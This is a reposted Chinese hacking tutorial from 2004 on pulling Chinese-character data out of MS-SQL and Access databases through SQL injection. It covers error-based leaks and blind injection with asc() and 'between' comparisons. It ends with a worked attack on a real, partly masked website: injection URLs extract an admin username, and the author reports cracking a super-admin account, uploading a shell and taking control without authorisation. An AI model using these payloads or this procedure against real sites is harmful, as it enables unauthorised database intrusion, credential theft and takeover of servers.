您的位置:首页精文荟萃软件资讯 → SQL Injection中文猜测的两种方法

SQL Injection中文猜测的两种方法

时间:2004/10/7 18:21:00来源:本站整理作者:蓝点我要评论(0)

SQL Injection中文猜测的两种方法
  很多大虾都知道了,偶在这里献丑还是来说一下。文章很有可能有不完整或者是说错的地方,请大虾直接写文予以痛击,不要骚扰使用never的人的邮箱和1143431的新主人。

一、MS-SQL中的汉字猜测

    可以说MS-SQL下的汉字是不用猜测的,你只要构造的条件足够的好,可以直接让对方在报错的时候将数据内容直接显示出来。通常的做法是把你要猜的内容所在的列做上一个其它类型的运算,这样由于执行中进行了错误的类型转换,会使得查询失败并且返回错误信息,而要猜的内容正好在信息中,例如:

select * from sysusers where [name]+1=2

    name列是nvarchar,要让他做加法运算,铁定是出错:

Syntax error converting the nvarchar value 'public' to a column of data type int.

    我们应该可以直接从返回的错误中获得需要的信息,例如这里的public。
    所以说,MS-SQL下的汉字猜测,没有太大的必要去花大力气。

二、ACCESS中汉字字符的猜测

●汉字字符的确定

    很简单,如果你发现一个网站是中文的,而且在注入的时候发现有异常的情况,你猜测的内容很有可能就是中文。通常我们这样确定:

... 0<>(select count(*) from admin where left(xxx,1) between char(20) and char(254)).....

    这是想只是在可见字符中进行猜测,如果这么大的范围都出了问题,可以试试看这个:

... 0<>(select count(*) from admin where left(xxx,1) between char(254) and char(255)).....

    如果这个条件是满足的,很不幸,你遇上中文了。

●间接的猜测法

    如果是中文,对于列中各条数据进行left、right等运算的时候,没有把一个汉字拆开来,也就是说如果有一条记录是“0我1”,那么:

right(left(xxx,1),1) = 0
right(left(xxx,2),1) = 我
right(left(xxx,3),1) = 1

    马上有人就想到了转换成整数来猜测,然后返回去算出到底是什么汉字。这确实是可以的,而且想法很巧妙,通常的办法是构造如下的条件

asc(right(left(xxx,N),1)) < -XXXXX

    经验上来说,小于符号后面这个数应该在-10000以下,然后通过具体注入时候得到的结果,不断的缩小范围,最后得到一个很小的负数。当确定这个负数后,可以先用计算器算出十六进制的代码,然后用编辑软件得到汉字。比如说你得到的确定的整数是-10532,用计算器转换后应该得到的是D6DC,在UltraEdit中用十六进制编辑,可以看到D6DC获得的是一个“周”字。

●直接的猜测法

    如同猜测非中文字符一样,中文字符也可以用between来逐步缩小范围,最后得到一个准确的汉字。这种方法的关键在于了解between作用于汉字的时候到底是怎样处理的,开始我在这方面走了一些弯路,后来多亏了小霸王(46466397),才得以彻底搞清,原来同我开始想的不一样,between对汉字的比较,是通过它们之间的unicode编码的先后顺序来的。我在网上没有搜索到unicode编码的表,在小霸王的指点下自己做了一份。
    在猜测的时候,依然是逐步的缩小范围,对于汉字的确定,用最大范围上的between可以一下子获得,例如下面这个查询查询条件,可以确定被猜测的数据一定是汉字:

... right(left(xxx,N),1) between '一' and '翿'

    由于unicode编码的汉字并不是按照常用的程度来排列的,事实上给猜测带来了很大的麻烦,一般我倾向于写程序来猜测,两种方法的时间复杂度一样,感觉上用第二种方法编写程序可能更为简单。

●适用范围

    应该说是都适用的。不过第二种方法一般要用到',有过滤的时候不通用。手工猜的话第一种方法应该很通用了,我也做了一个转换的小工具,直接由一个负整数获得对应的汉字。

●其它

    两种方法对于远东字符的猜测都有效,而且应该对各种非ASCII码的猜测都有效。如果有对日文/韩文等进行注入,可以简单的利用上面的方法,不同的只是编码而已。

●实例

    上个星期对www.jXXXXXX.org进行了测试(绝对善意!),我们先猜出来一个密码为19831016%%%%%的用户,通过len得知用户名长度为2,而且确定为汉字,开始猜测:

http://www.jXXXXXX.org/shownews.asp?NewsID=264%20and%200<>(select%20count(*)%20from%20admin%20where%20password='19831016%%%%%'%20and%20asc(left(username,1))<-10000)

    确定小于-10000,然后通过逐步缩小范围,最后确定是-10532

http://www.jXXXXXX.org/shownews.asp?NewsID=264%20and%200<>(select%20count(*)%20from%20admin%20where%20password='19831016%%%%%'%20and%20asc(left(username,1))=-10532)

    打开计算器,选择科学型,转换成十六进制单字,是D6DC,用UltraEdit编辑为周字。然后换一种方法猜测后面一个字,逐步缩小范围至:

http://www.jXXXXXX.org/shownews.asp?NewsID=264%20and%200<>(select%20count(*)%20from%20admin%20where%20password='19831016%%%%%'%20and%20right(left(username,2),1)%20between%20'未'%20and%20'本')

    然后逐一确定,最后得到是“末”字:

http://www.jXXXXXX.org/shownews.asp?NewsID=264%20and%200<>(select%20count(*)%20from%20admin%20where%20password='19831016%%%%%'%20and%20right(left(username,2),1)='末')

    同样的,我们又猜了一个超级管理员的用户名/密码,登陆后上传shell,然后拿到了管理权限。没有恶意,只是证明无论是汉字的用户名还是密码,不会给你带来更大的安全性。


●附上unicode下汉字的顺序表[你能认出四分之一么?]
http://www.safechina.net/software/unicode.zip

相关阅读 Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么

文章评论
发表评论

热门文章 360快剪辑怎么使用 36金山词霸如何屏幕取词百度收购PPS已敲定!3

最新文章 微信3.6.0测试版更新了微信支付漏洞会造成哪 360快剪辑怎么使用 360快剪辑软件使用方法介酷骑单车是什么 酷骑单车有什么用Apple pay与支付宝有什么区别 Apple pay与贝贝特卖是正品吗 贝贝特卖网可靠吗

人气排行 xp系统停止服务怎么办?xp系统升级win7系统方电脑闹钟怎么设置 win7电脑闹钟怎么设置office2013安装教程图解:手把手教你安装与qq影音闪退怎么办 QQ影音闪退解决方法VeryCD镜像网站逐个数,电驴资料库全集同步推是什么?同步推使用方法介绍QQ2012什么时候出 最新版下载EDiary——一款好用的电子日记本